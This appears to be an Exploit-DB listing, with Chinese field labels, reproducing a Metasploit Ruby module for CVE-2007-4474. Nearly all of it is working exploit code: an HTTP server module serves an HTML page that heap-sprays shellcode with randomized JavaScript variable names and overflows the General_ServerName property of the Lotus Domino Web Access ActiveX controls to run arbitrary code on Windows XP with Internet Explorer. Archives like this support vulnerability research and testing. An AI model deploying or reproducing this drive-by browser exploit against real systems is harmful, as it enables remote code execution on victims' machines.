标题: IBM Lotus Domino Web Access Upload Module - Remote Buffer Overflow (Metasploit) EDB-ID: 16502 CVE: 2007-4474 类型: REMOTE 平台: WINDOWS 发布日期: 2010-09-20 漏洞利用脚本: ##
# $Id: ibmlotusdomino_dwa_uploadmodule.rb 10394 2010-09-20 08:06:27Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
 Rank = NormalRanking

 include Msf::Exploit::Remote::HttpServer::HTML

 def initialize(info = {})
  super(update_info(info,
   'Name'           => 'IBM Lotus Domino Web Access Upload Module Buffer Overflow',
   'Description'    => %q{
     This module exploits a stack buffer overflow in IBM Lotus Domino Web Access Upload Module.
    By sending an overly long string to the "General_ServerName()" property located
    in the dwa7w.dll and the inotes6w.dll control, an attacker may be able to execute
    arbitrary code.
   },
   'License'        => MSF_LICENSE,
   'Author'         => [ 'Elazar Broad <elazarb[at]earthlink.net>' ],
   'Version'        => '$Revision: 10394 $',
   'References'     =>
    [
     [ 'CVE', '2007-4474' ],
     [ 'OSVDB', '40954' ],
     [ 'BID', '26972' ],
     [ 'URL', 'http://milw0rm.com/exploits/4820' ],
    ],
   'DefaultOptions' =>
    {
     'EXITFUNC' => 'process',
    },
   'Payload'        =>
    {
     'Space'         => 800,
     'BadChars'      => "\x00\x09\x0a\x0d'\\",
     'StackAdjustment' => -3500,
    },
   'Platform'       => 'win',
   'Targets'        =>
    [
     [ 'Windows XP SP0-SP2 / IE 6.0 SP0-2 & IE 7.0 English', { 'Ret' => 0x0C0C0C0C } ]
    ],
   'DisclosureDate' => 'Dec 20 2007',
   'DefaultTarget'  => 0))
 end

 def autofilter
  false
 end

 def check_dependencies
  use_zlib
 end

 def on_request_uri(cli, request)
  # Re-generate the payload
  return if ((p = regenerate_payload(cli)) == nil)

  # Encode the shellcode
  shellcode = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch))

  # Setup exploit buffers
  nops    = Rex::Text.to_unescape(make_nops(4))
  junk   = Rex::Text.to_unescape(rand_text_alpha(2))
  ret     = Rex::Text.to_unescape([target.ret].pack('V'))
  blocksize = 0x30000
  fillto    = 400

  # Randomize the javascript variable names
  dwa7w        = rand_text_alpha(rand(100) + 1)
  inotes6      = rand_text_alpha(rand(100) + 1)
  j_shellcode  = rand_text_alpha(rand(100) + 1)
  j_nops       = rand_text_alpha(rand(100) + 1)
  j_headersize = rand_text_alpha(rand(100) + 1)
  j_slackspace = rand_text_alpha(rand(100) + 1)
  j_fillblock  = rand_text_alpha(rand(100) + 1)
  j_block      = rand_text_alpha(rand(100) + 1)
  j_memory     = rand_text_alpha(rand(100) + 1)
  j_counter    = rand_text_alpha(rand(30) + 2)
  j_ret        = rand_text_alpha(rand(100) + 1)
  j_junk       = rand_text_alpha(rand(100) + 1)


  # Build out the message
  content = <<-EOF
<html>
<object classid='clsid:E008A543-CEFB-4559-912F-C27C2B89F13B' id='#{dwa7w}'></object>
<object classid='clsid:3BFFE033-BF43-11D5-A271-00A024A51325' id='#{inotes6}'></object>
<script language='javascript'>
#{j_shellcode} = unescape('#{shellcode}');
#{j_nops} = unescape('#{nops}');
#{j_headersize} = 20;
#{j_slackspace} = #{j_headersize} + #{j_shellcode}.length
while (#{j_nops}.length < #{j_slackspace}) #{j_nops} += #{j_nops};
#{j_fillblock} = #{j_nops}.substring(0, #{j_slackspace});
#{j_block} = #{j_nops}.substring(0, #{j_nops}.length - #{j_slackspace});
while(#{j_block}.length + #{j_slackspace} < #{blocksize}) #{j_block} = #{j_block} + #{j_block} + #{j_fillblock};
#{j_memory} = new Array();
for (#{j_counter} = 0; #{j_counter} < #{fillto}; #{j_counter}++) #{j_memory}[#{j_counter}] = #{j_block} + #{j_shellcode};
#{j_ret} = unescape('#{ret}');
while (#{j_ret}.length < 450) #{j_ret} += #{j_ret};
#{j_junk} = unescape('#{junk}');
while (#{j_junk}.length < 2000) #{j_junk} += #{j_junk};
try {
 #{dwa7w}.General_ServerName = #{j_junk} + #{j_ret};
 #{dwa7w}.InstallBrowserHelperDll();
} catch(err) {}
try {
 #{inotes6}.General_ServerName = #{j_junk} + #{j_ret};
 #{inotes6}.InstallBrowserHelperDll();
} catch(err) {}
</script>
</html>
EOF

  print_status("Sending exploit to #{cli.peerhost}:#{cli.peerport}...")

  # Transmit the response to the client
  send_response_html(cli, content)

  # Handle the payload
  handler(cli)
 end

end URL: https://www.exploit-db.com/exploits/16502